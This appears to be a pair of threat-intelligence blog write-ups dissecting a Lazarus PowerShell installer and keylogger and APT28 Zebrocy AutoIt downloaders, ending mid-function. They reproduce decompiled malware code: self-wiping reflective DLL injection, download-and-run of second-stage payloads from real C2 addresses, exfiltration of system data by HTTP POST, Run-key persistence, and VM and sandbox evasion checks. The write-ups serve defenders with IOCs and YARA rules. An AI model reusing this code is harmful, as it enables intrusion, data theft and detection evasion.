Let’s Learn: Dissecting Lazarus PowerShell PowerRatankba.B, Installer Script & Keylogger: Pakistan Version

Goal: Document and review the latest Lazarus PowerRatankba.B, PowerShell installer script leading to the 64-bit keylogger version (Pakistan version).

Source:
Lazarus PowerShell PowerRatankba.B "REG_LOCALDATA.ps1"(Pakistan)
MD5: c9ed87e9f99c631cda368f6f329ee27e
Lazarus PowerShell installer script "hm.ps1" (Pakistan)
MD5: 5cc28f3f32e7274f13378a724a5ec33a
Keylogger 64-bit (x64) "capture_x64.dll'(Pakistan)
MD5: 2025D91C1CDD33DB576B2C90EF4067C7

Outline:

I. Background & Executive Summary
II. PowerShell PowerRatankba.B "REG_LOCALDATA.ps1" (Pakistan)
III. Lazarus PowerShell Installer Script  (Pakistan)
A. Main Code Flow
B. "DoProcess" Function
C. "shell_script" 
IV. Lazarus Keylogger 64-bit (x64) "capture_x64.dll'  (Pakistan)
V. Yara Signature
Analysis
I. Background & Executive Summary
This analysis is a continuation of the reporting on the recent Lazarus toolkits. It is notable that the latest discovered PowerRatankba.B toolkit, uploaded from Pakistan, is almost identical to the Chilean Redbanc incident with the slightly different hardcoded URI structure ending on “cgetpsa” and “cgetruna” on the same server, while the recent uploaded Lazarus PowerShell installer (and its keylogger) bears similarity to the ones shared by the Vietnamese CERT. It is possible that the Lazarus group was targeting financial institutions both in Chile and Pakistan while deploying the same command-and-control server and before in Vietnam.
Before diving deeper into the Lazarus PowerShell installation and keylogger analysis, I highly recommend reading the Norfolk Infosec blog titled “A Lazarus Keylogger- PSLogger” detailing the Lazarus older version of the similar script, installation, and the keylogger DLL component. As noted, the script and its installation do not contain the command-and-control protocol, which likely means that the group exfiltrates the screenshot and keylogger information at a later point via other means.
I have also uploaded MISP JSON and CSV associated with the Lazarus tools (Pakistan) to GitHub k-vitali/apt_lazarus_toolkits for detection and mitigation of this threat.
II. PowerShell PowerRatankba.B “REG_LOCALDATA.ps1” (Pakistan)
The latest identified PowerRatankba.B, uploaded from Pakistan, represents a reconnaissance Lazarus tool with the almost identical script and logic to the Chilean Redbanc incident (with the same server) with the exception of the URI structure and lack of the commented additional server.
Screen Shot 2019-02-24 at 10.34.03 PM

III. Lazarus PowerShell Installer Script “hm.ps1” (Pakistan)

A. Main Code Flow
The main function setup obtains the process list leveraging the native PowerShell command obtaining the current process id list with process names via “Get-Process | Select-Object id,name” then convert the process name to lower case and sets the boolean “$bIsInjected=$false” and then if the process name matches ‘explorer’, the malware enters “DoProcess function passing -Target_PID process id of the process, then exiting.
The main script setup is as follows:

////////////////////////////////////////////////////
////// Lazarus PowerShell installer main flow //////
////////////////////////////////////////////////////
OwnPath = $MyInvocation.MyCommand.Path;
$filesize = (Get-Item $OwnPath).length
$resetBuf = New-Object byte[] $filesize
[System.IO.File]::WriteAllBytes($OwnPath, $resetBuf)
Remove-Item -Path $OwnPath -Force -Recurse
...
$cnt_read = 0;
while($true)
{
$process_list = Get-Process | Select-Object id,name
foreach($iter in $process_list)
{
$process_name = $iter.name.ToLower();
$bIsInjected = $false;
if($process_name.CompareTo('explorer') -eq 0)
{
$ProID = $iter.Id
DoProcess -Target_PID $ProID
$ProcessListArray += $ProID
}
}
exit;
}

B. “DoProcess” Function
Essentially, the  “DoProcess” function passes the string type parameter $Target_PID and creating a file path with random characters as “C:\windows\temp\tmp[0-9A-F].ps1”.

////////////////////////////////////////////////////
///// Lazarus PowerShell 'DoProcess' Function //////
////////////////////////////////////////////////////
Function DoProcess
{
 param([String]$Target_PID)
 $szFileName = 'C:\windows\temp\tmp'+ -join ((48 .. 57) + (65 .. 70) | 
 Get-Random -Count 4 | % { [char]$_ }) + '.ps1';
 [String]$szCode = '$SScript = "' + $shell_script + '"; 
 [String]$NewStr = [System.Text.Encoding]::ASCII.GetString([System.Convert]

::FromBase64String($SScript.Replace("|","a")));$NewStr=$NewStr.Replace("EXECUTION_BINARY",
  "' + $InputString + '");$NewStr=$NewStr.Replace("PROCESSID", "' + $Target_PID + '");
  $NewBlock = [Scriptblock]::Create($NewStr);Invoke-Command -ScriptBlock $NewBlock;';
$szCode | Out-File -Encoding ascii $szFileName;
[String]$szArgList = '-ep bypass -file ' + $szFileName;
$ProID = Start-Process powershell.exe -PassThru -WindowStyle Hidden - ArgumentList $szArgList;
}

 

The malware parses “shell_script”, replaces “|” for “a”, and base64 decodes and replaces “EXECUTION_BINARY” valuew with the base64 version of the keylogger 64-bit (x64) DLL version. Additinally, it replaces “PROCESSID” with argument “$Target_PID” writing to the resulting script to the tmp file and executing it via “Start-Process powershell.exe -PassThru -WindowStyle Hidden – ArgumentList -ep bypass -file C:\windows\temp\tmp[0-9A-F].ps1”.
C. “shell_script” 
The code itself is a PowerSploit’s PowerShell “Invoke-ReflectivePEInjection” reflectively injects a DLL into a remote process decoding the DLL base64 to binary.

////////////////////////////////////////////////////
///// Lazarus PowerShell 'shell_script' Excerpt ////
////////////////////////////////////////////////////
[String]$InputString = 'EXECUTION_BINARY';
[String]$idProcess = 'PROCESSID';
$injectionErrorCode = '';
$global:cmdRes = 0;
function Invoke-ReflectivePEInjection
 Function Get-Win32Types
 Function Get-Win32Constants
 Function Get-Win32Functions
 Function Sub-SignedIntAsUnsigned
 Function Add-SignedIntAsUnsigned
 Function Compare-Val1GreaterThanVal2AsUInt
...
$PEBytes = [System.Convert]::FromBase64String($InputString);
i ( $idProcess -eq 0)
{
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType
Void -ForceASLR;
}
else
{
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType
Void -ForceASLR -ProcId $idProcess;
}

The malware will force the use of address space layout randomization (ASLR) on the PE loaded even if the PE indicates it does not support ASLR. Additionally, the malware passes -FuncReturnType the return type of the function being called in the DLL; the malware passes -ProcId parameter substituting $idProcess = ‘PROCESSID’ from the main flow loop code and substituting $InputString = ‘EXECTUION_BINARY’ to the dropped Lazarus 64-bit keylogger “capture_x64.dll”.
IV. Lazarus Keylogger 64-bit (x64) “capture_x64.dll’
The keylogger malware is 64-bit with the compilation timestamp Monday, September 24 09:44:33 2018 UTC. It contains the same screenshot library, export function “Process,” same XZip library as the reported Vietnamese and Pakistani keylogger with the same setup as reported in detail by Norfolk Infosec.

Screen Shot 2019-02-24 at 10.34.44 PMV. Yara Signature: Keylogger

rule apt_lazarus_keylogger
{
   meta:
      description = "Detects possible Lazarus Keylogger"
      author = "@VK_Intel"
      date = "2019-01-25"
  strings:
      $s0 = "%s%s" fullword ascii wide
      $s1 = "[ENTER]" fullword ascii wide 
      $s2 = "[EX]" fullword ascii wide
      $s3 = "%02d:%02d" fullword ascii wide
      $dll0 = "PSLogger.dll" fullword ascii wide
      $dll1 = "capture_x64.dll" fullword ascii wide
      $exe = "PSLogger.exe" fullword ascii wide
condition:
uint16(0) == 0x5a4d and all of ($s*) and (1 of ($dll*) or $exe)
}

Let’s Learn: Progression of APT28 AutoIt Zebrocy Downloaders: Source-Code Level Analysis

Goal: Reverse engineer and analyze the APT28 Zebrocy/Zepakab AutoIt downloader implant, focusing on extracted AutoIt source code level analysis.
Source:

Zebrocy/Zepakab Downloader Implant (32-Bit x86 Compiled)
MD5: d6751b148461e0f863548be84020b879
Zebrocy/Zepakab Downloader Implant (32-Bit x86 Compiled)
MD5: 311f24eb2dda26c26f572c727a25503b
Zebrocy/Zepakab Downloader Implant (32-Bit x64 Compiled)
MD5: 7b1974e61795e84b6aacf33571320c2a
Zebrocy/Zepakab Downloader Implant (32-Bit x64 Compiled)
MD5: c2e1f2cf18ca987ebb3e8f4c09a4ef7e
Zebrocy/Zepakab Downloader Implant (32-Bit x86 Compiled)
MD5: ec57bb4980ea0190f4ad05d0ea9c9447

Outline:

I. Background & Executive Summary
II. APT28 Zebrocy/Zepakab AutoIt Script Extraction
III. Zebrocy/Zepakab AutoIt Deeper Dive
A. Zebrocy/Zepakab Downloader Implant (32-Bit x86 Compiled)
1. "_gapi_tcpsendfile()" Function
B. Zebrocy/Zepakab Downloader Implant (32-Bit x86 Compiled)
1. "_giga()" Function
2. "_infosystemservice()" Function
3. "_mv()" Function
4. "_sofware()" Function
C. Zebrocy/Zepakab Downloader Implant (32-Bit x64 Compiled) 
1. "_getscreen()" Function
2. "_sendpost()" Function
D. Zebrocy/Zepakab Downloader Implant (32-Bit x64 Compiled)
1. "parsestring()" and "parsefile()" Functions
E. Zebrocy/Zepakab Downloader Implant (32-Bit x86 Compiled)
IV. Yara Signature

I. Background & Executive Summary
The APT28 group continues to be developing and leveraging Zebrocy/Zepakab downloader implants. Here, I decided to recover and dissect its AutoIt scripts from its executable. APT28 is also known as Sofacy, Fancy Bear, STRONTIUM, Pawn Storm, and Sednit.
The malware downloaders are simple AutoIt compiled scripts with the added icons and are occasionally packed with UPX.
The Zebrocy/Zepakab Autoit downloader implants are simple and reminiscent of the other version coded in Golang, C++, and Delphi.
Malware analysis reveals the later usage of the hex-encoding functions to obfuscate certain strings within the APT28 malware.
APT28 Autoit downloaders rely on WinHTTP DLL library for clientserver communications. The reviewed older samples were compiled with Autoit for the 32-bit version, while the more recent ones were for the 64-bit one.
The downloaders simply create a fake GUI application mimicking Microsoft Word or PDF application with the fake message indicating password-protected documents to make Autoit icon is not visible with the (“TrayIconHide”, 1) argument. In the later versions of this malware, the developer(s) also decided to obfuscate this string with hex-encoding presumably to avoid static detection on hidden Window AutoIt scripts.
Notably, on one occasion, the developer referenced the Microsoft Word document icon path from the machine as “C:\works\old_progs\download\icons\DOC.ico.” The malware downloaders’ version information includes the English-language locale and LCID code of “2057”, which is a code page for English, Great Britain language code.
One of the earlier downloader malware oddities includes a check for the software titled “Lamer.exe” as well with the VirtualBox related processes (“vmacthlp.exe”, “vmtoolsd.exe”, “vmusrvc.exe”), parallel desktop software processes (“prl_cc.exe”, “prl_tools.exe”, “SharedIntApp.exe”).
Update (2019-01-22): The newly observed Zebrocy AutoIt sample contained the timestamp compilation date of Wednesday, January 16 06:10:59 2019 UTC introducing a Windows Management Instrumentation (WMI) host profiling method along with the odd name of execution function name of “crocodile().” Most importantly, the newer sample introduced the Base64-based encoding with the padded “F” (until 5) on the reverse length of Base64 data blob and appended to the “img=” URI with the HTTPS server communication.
The malware servers appear to be have been located at the following Autonomous System Number (ASN):

AS49544 Qhoster
AS201011 Core-Backbone
AS29073 QuasiNetworks
AS9009 M247

The APT28 Autoit downloader execution can be tied to the following ATT&CK Enterprise Attack – Attack Pattern framework:

+ Command-Line Interface - T1059    
+ Scripting - T1064    
+ Registry Run Keys / Start Folder - T1060    
+ System Information Discovery - T1082
+ Windows Management Instrumentation - T1047
+ Exfiltration Over Command and Control Channel - T1041   
+ Standard Application Layer Protocol - T1071
+ Data Encoding - T1132

I have uploaded the decoded APT28 AutoIt scripts along with the MISP JSON and CSV indicators of compromise (IOC) extractions for further analysis and mitigation on GitHub at k-vitali/apt28_zebrocy_autoit_resource.
II. APT28 Zebrocy/Zepakab AutoIt Script Extraction
One of the possible interesting challenges includes the decompilation of x64-bit compiled AutoIT samples. 
One way you can tell if it is an AutoIt-compiled malware is through examining the resource section “RCData” for “SCRIPT” namespace with AU3 header.
Routinely, simple Exe2Au worked to retrieve the 32-bit version extracted AutoIt scripts, while the 64-bit required a small trick of recovering payloads via ResourceHacker (since Exe2Au does not support 64-bit versions), compiling them as .au3 scripts to the executable on a 32-bit machine, and then extracting them back via Exe2Au toolset. A similar method is referenced by @hexacorn here.
The steps are as follows:
1. Open the binary in Process Hacker and save the RCData ‘SCRIPT’ AU3 resource as binary and rename ending in .au3.

2. Open Aut2Exe v3 and set them as source AutoIt .au3 and create a new executable, then extract the AutoIt script via “Exe2Aut.”

III. Zebrocy/Zepakab AutoIt Deeper Dive
A. Zebrocy/Zepakab Downloader Implant (32-Bit x86 Compiled) (Mon Jan 25 06:27:36 2016)

The sample timestamp shows compilation timestamp of Monday, January 25, 06:27:36 2016 UTC with the version language code set to English, Great Britain. The sample leverages AutoIT GUI API (with hidden Tray Icon) and installs as “srvsml.exe” in “%APPDATA%\Microsoft\Network\SupportAssistanse”. Additionally, it sets up persistence in “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run” as “srvmcc.exe”. It also writes “0x110101” to “Software” key in “HKEY_CURRENT_USER\Software\Microsoft\ActiveAssistance”.
The notable addition includes the developer path to
as “C:\works\old_progs\download\icons\DOC.ico” as well as setting time for the installed payloads modification time to “20131402.” It is also notable that the malware coder does not follow normal AutoIT FileSetTime conventions YYYYMMDD setting potential month outside of the 12-month range. It is possible that it could be a developer mistake or misinterpreted month and day order (or European style).
Additionally, this malware includes anti-Virtual Machine (process blacklist) logic.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Zepakab/Zebrocy 2 AutoIT Main Excerpt ;;;;;;;;;;;;;;;;;;;;;; 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
$ms_word = GUICreate("Password                   ", 311, 86, -1, -1, BitOR($ws_caption, $ws_popup, $ws_sysmenu), $ws_ex_dlgmodalframe)
GUISetIcon("C:\works\old_progs\download\icons\DOC.ico", -1)
$input1 = GUICtrlCreateInput("", 8, 16, 297, 21, BitOR($gui_ss_default_input, $es_password))
$button1 = GUICtrlCreateButton("OK", 120, 48, 83, 25)
$button2 = GUICtrlCreateButton("Cancel", 216, 48, 83, 25)
Opt("TrayIconHide", 1)
$runex = "\srvsml.exe"
$aar = ProcessList()
_vm($aar)
$f = FileExists(@AppDataDir & "\Microsoft\Network\SupportAssistanse" & $runex)
If $f = 0 Then
 RegWrite("HKEY_CURRENT_USER\Software\Microsoft\ActiveAssistance", 
"Software", "REG_SZ", "0x110101")
 $hopen = _winhttpopen()
 $hconnect = _winhttpconnect($hopen, "hxxp://80[.]255[.]6[.]5/")
 $hrequest = _winhttpsimplesendrequest($hconnect, Default, 
"/daily-update-certifaicates52735462534234/update-15.dat")
 $data = _winhttpsimplereaddata($hrequest)
 RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", 
"MSCertificates", "REG_SZ", @TempDir & "\srvmcc.exe")
 $hfileonce = FileOpen(@AppDataDir & "\Microsoft\Network\SupportAssistanse" & $runex, 2 + 16 + 8)
 FileWrite($hfileonce, $data)
 FileClose($hfileonce)
 $hfile = FileOpen(@TempDir & $runex, 2 + 16)
 FileWrite($hfile, $data)
 FileClose($hfile)
 _winhttpclosehandle($hrequest)
 _winhttpclosehandle($hconnect)
 _winhttpclosehandle($hopen)
 FileSetTime(@AppDataDir & "\Microsoft\Network\SupportAssistanse" & $runex, "20131402", 1)
 FileSetTime(@AppDataDir & "\Microsoft\Network\SupportAssistanse"       & $runex, "20131402")
 Run(@AppDataDir & "\Microsoft\Network\SupportAssistanse" & $runex)
 $name = _getname()
 $aar = ProcessList()
 $name_send = $name & "-" & @MON & "-" & @MDAY & ".tmp"
 $msg = _arraytostring($aar)
 Dim $ains
 _computergetsoftware($ains)
 $ainsmsg = _arraytostring($ains)
 $msg = @YEAR & "-" & @MON & "-" & @MDAY & "-" & @MIN & "-" & @SEC & @CRLF & $msg & "===========================" & @CRLF & "===========================" & @CRLF & $ainsmsg
 $data = _gapi_tcpsendfile("80[.]255[.]6[.]5", "/LoG-statistic8397420934809/date-update9048353094c/StaticIpUpdateLog23741033.php", $name_send, $msg)
EndIf
GUISetState(@SW_SHOW)
While 1
 $nmsg = GUIGetMsg()
 Switch $nmsg
  Case $gui_event_close
   Exit
  Case $button1
   MsgBox(64, "Error", "Corrupt or Wrong Password!")
   ContinueLoop
  Case $button2
   Exit
 EndSwitch
WEnd

1. “_gapi_tcpsendfile()” Function
The malware TCP AutoIT library to send and retrieve files leveraging TCPStartup, TCPNameToIP, TCPTimeout, TCPConnect, TCPSend, TCPRecv, and TCPShutdown.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Zepakab/Zebrocy 2 AutoIT "_gapi_tcpsendfile" ;;;;;;;;;;;;;;;;;;;;;; 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Func _gapi_tcpsendfile($host, $hrv, $file, $msg)
 $sparametrs = "-----------------------------7dd177a260412" & @CRLF
 $sparametrs &= 'Content-Disposition: form-data; name="/Content/Files/"' & @CRLF
 $sparametrs &= @CRLF
 $sparametrs &= "./" & @CRLF
 $sparametrs &= "-----------------------------7dd177a260412" & @CRLF
 $sparametrs &= 'Content-Disposition: form-data; filename="' & $file & '"' & @CRLF
 $sparametrs &= "Content-Type: " & $file & @CRLF
 $sparametrs &= @CRLF
 $sparametrs &= $msg & @CRLF
 $sparametrs &= "-----------------------------7dd177a260412--" & @CRLF
 Local $srequest = "POST /" & $hrv & " HTTP/1.1" & @CRLF
 $srequest &= "Content-Type: multipart/form-data; boundary=---------------------------7dd177a260412" & @CRLF
 $srequest &= "Host: " & $host & @CRLF
 $srequest &= "Content-Length: " & StringLen($sparametrs) & @CRLF
 $srequest &= "Cache-Control: no-cache" & @CRLF
 $srequest &= @CRLF
 $srequest &= $sparametrs
 If TCPStartup() == 0 Then Return -1
 Local $sip = TCPNameToIP($host)
 If @error Then Return -2
 Opt("TCPTimeout", 1000)
 Local $nmaxtimeout = 30
 Local $isocket, $ierror
 While 1
  $isocket = TCPConnect($sip, "80")
  If @error = 10060 Then
   $nmaxtimeout -= 1
   If $nmaxtimeout < 0 Then
    Return False
   EndIf
   ContinueLoop
  ElseIf @error Then
   $ierror = @error
   Return False
  Else
   ExitLoop
  EndIf
 WEnd
 $i = 0
 TCPSend($isocket, $srequest)
 Local $sdata = "", $itimer = TimerInit(), $timewait = ((1000 * (StringLen($srequest) / 1024)) + 30000)
 Do
  $sbuffer = TCPRecv($isocket, 2048, 1)
  $ierror = @error
  If $sbuffer Then
   $sbuffer = BinaryToString($sbuffer)
   $sdata &= $sbuffer
   $timewait = 2000
   $itimer = TimerInit()
  EndIf
 Until $ierror  0 OR TimerDiff($itimer) > $timewait
 TCPShutdown()
 Return $sdata
EndFunc

B. Zebrocy/Zepakab Downloader Implant (32-Bit x86 Compiled) (Mon May 11 19:06:01 2016)

This APT28 downloader implant is a 32-bit version, which AutoIT original script can be simply recovered via Au2Exe.
The sample timestamp shows compilation timestamp of Monday, May 11 19:06:01 2016 UTC. The sample installs in %APPDATA%\Microsoft\Internet Explorer\Quick Launch\ as “srvcron.exe” with the hidden icon as the fake Microsoft Word application.
Additionally, this malware includes anti-Virtual Machine (process blacklist) logic but also parses for known anti-virus sandboxes.

The list of all relevant functions follows:

_giga()
_infosystemservice()
_mv()
_sofware()

The relevant main function is below.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;; Zepakab/Zebrocy AutoIT Setup Excerpt ;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Global Const $es_password = 32
Global Const $gui_ss_default_input = 128
Global Const $gui_event_close = -3
Global Const $ws_sysmenu = 524288
Global Const $ws_caption = 12582912
Global Const $ws_popup = -2147483648
Global Const $ws_ex_dlgmodalframe = 1
If NOT (IsDeclared("$cI_CompName")) Then
EndIf
Opt("TrayIconHide", 1)
$ms_word = GUICreate("Password", 311, 86, -1, -1, BitOR($ws_caption, $ws_popup, $ws_sysmenu), $ws_ex_dlgmodalframe)
$input1 = GUICtrlCreateInput("", 8, 16, 297, 21, BitOR($gui_ss_default_input, $es_password))
$ok = GUICtrlCreateButton("OK", 120, 48, 83, 25)
$cancel = GUICtrlCreateButton("Cancel", 216, 48, 83, 25)
Global $sname = _mv()
$sexname = "srvcron.exe"
$exist = FileExists(@AppDataDir & "\Microsoft\Internet Explorer\Quick Launch\" & $sexname)
GUISetState(@SW_SHOW)
OnAutoItExitRegister("_Giga")
While 1
$nmsg = GUIGetMsg()
Switch $nmsg
Case $gui_event_close
GUIDelete($ms_word)
_infosystemservice
("hxxp://194[.]187[.]249[.]126", "/security-services-DMHA-group/info-update-version/id77820082.php", $sname & "__" & @MON & @MDAY & @MIN & ".tmp", _sofware()) Sleep(3000)
ExitLoop
Case $ok
MsgBox(64, "Open file error!", "The password is incorrect. Cannot open the document!")
GUIDelete($ms_word)
_infosystemservice
("hxxp://194[.]187[.]249[.]126", "/security-services-DMHA-group/info-update-version/id77820082.php", $sname & "__" & @MON & @MDAY & @MIN & ".tmp", _sofware()) Sleep(3000)
ExitLoop
Case $cancel
GUIDelete($ms_word)
_infosystemservice
("hxxp://194[.]187[.]249[.]126", "/security-services-DMHA-group/info-update-version/id77820082.php", $sname & "__" & @MON & @MDAY & @MIN & ".tmp", _sofware())
Sleep(3000)
ExitLoop
EndSwitch
WEnd

a. “_giga()” Function

The _giga() function calls the server and saves the second-stage payload to %TEMP%\ as “srvcass.exe” and creates the payload quick launch and runs via it. It installs in registry to “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce” as “IESecurity.” Additionally, it sets up “DriverID” entry value to 11×00110011 in “HKEY_CURRENT_USER\Software\Microsoft\Drivers”.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Zepakab/Zebrocy AutoIT "_giga" Function ;;;;;;;;;;;;;;;;;;;;;;;;;;;; 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Func _giga()
 $hopen = _winhttpopen()
 $hconnect = _winhttpconnect($hopen, "hxxp://194[.]187[.]249[.]126/")
 $hrequest = _winhttpsimplesendrequest($hconnect, Default, 
"/security-services-DMHA-group/id-pid919/1SQL5-5database-update/release-554211/updater-service.dat")
 $data = _winhttpsimplereaddata($hrequest)
 $hfileonce = FileOpen(@AppDataDir & "\Microsoft\Internet Explorer\Quick Launch\" 
& $sexname, 2 + 16 + 8)
 FileWrite($hfileonce, $data)
 FileClose($hfileonce)
 $hfile = FileOpen(@TempDir & "\srvlcass.exe", 2 + 16)
 FileWrite($hfile, $data)
 FileClose($hfile)
 _winhttpclosehandle($hrequest)
 _winhttpclosehandle($hconnect)
 _winhttpclosehandle($hopen)
 Run(@AppDataDir & "\Microsoft\Internet Explorer\Quick Launch\" & $sexname)
 RegWrite
("HKEY_CURRENT_USER\Software\Microsoft\Drivers",_ "DriverID", "REG_SZ", "11x00110011")
 RegWrite
("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce", "IESecurity",
 "REG_SZ", @TempDir & "\srvlcass.exe")
EndFunc

2. “_infosystemservice()” Function
The _infosystemservice() function simply passes the collected information to the server on the “info=” parameter with “.tmp&statistic=” data parameters

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Zepakab/Zebrocy AutoIT "_infosystemservice" Function ;;;;;;;;;;;;;;;;;;;;;; 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Func _infosystemservice($host, $hrv, $name, $data_s)
 $url = $host & $hrv
 $ohttp = ObjCreate("WinHttp.WinHttpRequest.5.1")
 $ohttp.open("POST", $url)
 $ohttp.setrequestheader("Content-Type", "application/x-www-form-urlencoded")
 $adata = "info=" & $name & ".tmp&statistic=" & $data_s
 $ohttp.send($adata)
 $ohttp.waitforresponse
 $response = $ohttp.responsetext
 Return $response
EndFunc

3. “_mv()” Function
It is probably one of the more interesting Zebrocy/Zepakab downloader implant functions searching for a virtual machine and parallel desktop software along with the mystical “Lamer.exe.” Additionally, beyond the bot ID creation via “cmd.exe /U / VOL”, the malware searches for the following blacklisted hex-encoded bot ID with Volume Serial Number with first four left ComputerName characters in hex with the following values:

CC078550 414E544F // ANTO (ANTONY-PC) -> Kaspersky
0CE74E66 41444D49 // ADMI (ADMIN-PC) -> Comodo
64F3BF1F 54515564 // TQUd -> N/A
64F3BF1F 61776F64 // awod -> N/A
88FDB972 524F4745 // ROGE (ROGER-PC) -> Avira, Kaspersky, Comodo
B8EB467E 5657494E // VWIN -> N/A
D4BC89F6 57494E37 // WIN7 -> N/A
E00458AD 4245412D // BEA- -> N/A

These values represent known Virtual machines and/or sandboxes as identified by APT28 developers. I was able to crossreference of few of these as they were disclosed and discussed in the paper “The Adventures of AV and the Leaky Sandbox” by Amit and Itzik Kotler. The malware will execute if it detects either blacklisted process or the machine fingerprint (serial number + hex(computer name)) matches known sandboxes. Few of the sandboxes appear to belong Avira, Comodo, and Kaspersky.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Zepakab/Zebrocy AutoIT "_mv" Function ;;;;;;;;;;;;;;;;;;;;;; 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Func _mv()
 Dim $ssearch[11]
 $ssearch[10] = "Lamer.exe"
 $ssearch[1] = "vmacthlp.exe"
 $ssearch[2] = "vmacthlp.exe"
 $ssearch[3] = "vmtoolsd.exe"
 $ssearch[4] = "VBoxTray.exe"
 $ssearch[5] = "VBoxService.exe"
 $ssearch[6] = "prl_cc.exe"
 $ssearch[7] = "prl_tools.exe"
 $ssearch[8] = "SharedIntApp.exe"
 $ssearch[9] = "vmusrvc.exe"
 $ssearch[2] = "vmsrvc.exe"
 $ssearch[0] = UBound($ssearch)
 For $i = 1 To $ssearch[0] - 1
  $iindex = _arraysearch(ProcessList(), $ssearch[$i], 0, 0, 0, 1, 0, 0)
  If $iindex  -1 Then
   Exit
  EndIf
 Next
 Local $id, $soutput = ""
 $id = Run(@ComSpec & " /U /C VOL ", "", @SW_HIDE, $stderr_child + $stdout_child)
 While 1
  $soutput &= StdoutRead($id, False, False)
  If @error Then
   ExitLoop
  EndIf
  Sleep(10)
 WEnd
 $soutput = BinaryToString($soutput, 2)
 $aout = StringRegExp($soutput, "[A-Z0-9]{4}-[A-Z0-9]{4}", 1)
 $aout[0] = StringReplace($aout[0], "-", "")
 $kor = StringRegExp($aout[0] & _stringtohex(StringLeft(@ComputerName, 4)), 
"CC078550414E544F", 0)
 If $kor = 1 Then Exit
 $kor = StringRegExp($aout[0] & _stringtohex(StringLeft(@ComputerName, 4)), 
"0CE74E6641444D49", 0)
 If $kor = 1 Then Exit
 $kor = StringRegExp($aout[0] & _stringtohex(StringLeft(@ComputerName, 4)), 
"64F3BF1F54515564", 0)
 If $kor = 1 Then Exit
 $kor = StringRegExp($aout[0] & _stringtohex(StringLeft(@ComputerName, 4)), 
"64F3BF1F61776F64", 0)
 If $kor = 1 Then Exit
 $kor = StringRegExp($aout[0] & _stringtohex(StringLeft(@ComputerName, 4)), 
"88FDB972524F4745", 0)
 If $kor = 1 Then Exit
 $kor = StringRegExp($aout[0] & _stringtohex_(StringLeft(@ComputerName, 4)), 
"B8EB467E5657494E", 0)
 If $kor = 1 Then Exit
 $kor = StringRegExp($aout[0] & _stringtohex(StringLeft(@ComputerName, 4)), 
"D4BC89F657494E37", 0)
 If $kor = 1 Then Exit
 $kor = StringRegExp($aout[0] & _stringtohex(StringLeft(@ComputerName, 4)), 
"E00458AD4245412D", 0)
 If $kor = 1 Then Exit
 Return $aout[0] & _stringtohex(StringLeft(@ComputerName, 4))
EndFunc

4. “_sofware()” Function
The _sofware function parses for installed software walking through registry Uninstall key for “DisplayName”. It collects drive information (label and space), retrieves system information via cmd “systeminfo” output, and retrieves and concatenates processes into the system information.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Zepakab/Zebrocy AutoIT "_sofware" Function ;;;;;;;;;;;;;;;;;;;;;; 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Func _sofware()
 Local Const $reggetkey = 
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"
 Local $i = 1
 Local $asoft
 $asoft = "                --------Software-------" & @CRLF & @CRLF & @CRLF
 While 1
  $appkey = RegEnumKey($reggetkey, $i)
  If @error  0 Then ExitLoop
  $asoftstingtemp = StringStripWS(RegRead
